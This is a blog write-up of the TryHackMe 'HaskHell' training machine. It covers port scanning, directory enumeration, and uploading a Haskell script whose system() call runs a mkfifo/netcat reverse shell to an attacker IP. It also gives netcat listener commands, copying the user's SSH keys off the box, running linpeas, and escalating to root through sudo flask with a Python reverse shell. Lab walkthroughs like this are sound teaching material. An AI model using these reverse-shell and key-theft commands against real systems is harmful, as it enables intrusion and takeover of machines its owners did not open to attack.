Writeup – TryHackMe HaskHell

Today i am going to present the write up for HaskHell on TryHackMe.

First of all after having deployed the machine, we can run nmap on the targeted IP.


nmap -p- -sV

Result of Nmap:

kali@kali:~$ nmap -p- -sV -T4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-11 11:40 EDT
Nmap scan report for
Host is up (0.23s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5001/tcp open  http    Gunicorn 19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1183.25 seconds

We can see that port 5001 is http and open.

Let’s have a look at Port 5001

Go to http://<target-ip>:5001

Homepage of the haskell course

If you click on « homework here » you will find a page with an exercise


The link to submit exercise respond with a 404.
Also the following screen shows us that this teacher has already had hacker’s student


This also gives us a huge hint: We can submit a haskell script and it will be interpreted. So let’s try to make a reverse shell.

But first let’s try to execute a command. Here is the documentation to execute a command with haskell: System Process on haskell

Also we need to find where to upload our script, let’s run dirb


Dirb result
The page where we will submit our shell

Okay, now that we know where to put our script. Let’s write it!

Reverse shell with Haskell

I did not know anything about haskell so after some digging i found out that i had to save my script with .hs in the end for it to be recognized and executed by our target.

Also the text in homework1 specifies: « Your file will be compiled and ran and all output will be piped to a file under the uploads directory. »
This means that we will be able to see our output and errors in order to debug our script if we need (which was really helpful for me)

First i tried a simple ls

#!/bin/env runhaskell
import System.Process

main :: IO ()
main = do
 let stdin' = ""
 (errCode, stdout', stderr') <- readProcessWithExitCode "ls" ["-lar"] stdin'
 putStrLn $ "stdout: " ++ stdout'
 putStrLn $ "stderr: " ++ stderr'
 putStrLn $ "errCode: " ++ show errCode

And i got this:

On pentestmonkey.net we find the following command:

nc -e /bin/sh 1234

So i tried a netcat with the -e option to specify what to do after the nc.
However, there were 2 errors on my case my port 1234 was busy and the netcat command on the target did not handle -e option. Resolving the first error is easy (changed my port to 8888) but not the second one 🙂
So the script that worked for me was the following one:

module Main where 
import System.Process
 main = system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your-ip> 8888>/tmp/f"

Indeed according to this website, the following command would be handled on the other netcat versions:

#other version of netcat 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8888 >/tmp/f

Do not forget before uploading the script to launch you listener on your attacking machine

nc -lvp 8888

And then we get a shell:

And we can get the user flag:

$ ls
$ cat user.txt

Now that we got user we need to get root. But first let’s find to way to avoid having to connect through our webshell. Let’s try to use ssh. If we navigate to the user .ssh folder we have a key pair.
Let’s try to get those on our attacker machine by running python simple http server.

Then from the attacking machine we can connect through ssh after having set up the proper permission for our private key (700)

To have an interactive shell we can run this:

python -c 'import pty; pty.spawn("/bin/bash")'

And there we go:

Linux enumeration with linepeas:

Let’s upload linepeas in our target machine.

On our kali we run

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

And then we launch python simple server to put it on the target

And from our target we get it with:

$ wget$ chmod 755 linepeas.sh$ ./linpeas.sh

Linepeas is very good but for this context we could have done a sudo -l before and this would have been it. It is a good habit to try this before doing anything else.

Here is what we get if we run flask:

Trying to run flask

Well it is something very useful. We know that we need to write a script and launch it as root. In my case i did a reverse shell but it can be even easier to just launch a shell with a python command.

Here is the reverse shell i did with a script:

#!/usr/bin/env python
import socket,subprocess,os

We then just have to set up a new listener on our attacker machine:

nc -lvp 8888

Se export our script to our env (target machine)

And we run our script as root from the target machine:

We get a shell from our attacking machine. So let’s run our command to get an interactive shell:

python -c 'import pty; pty.spawn("/bin/bash")'

We now have the root flag:

Getting root flag

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *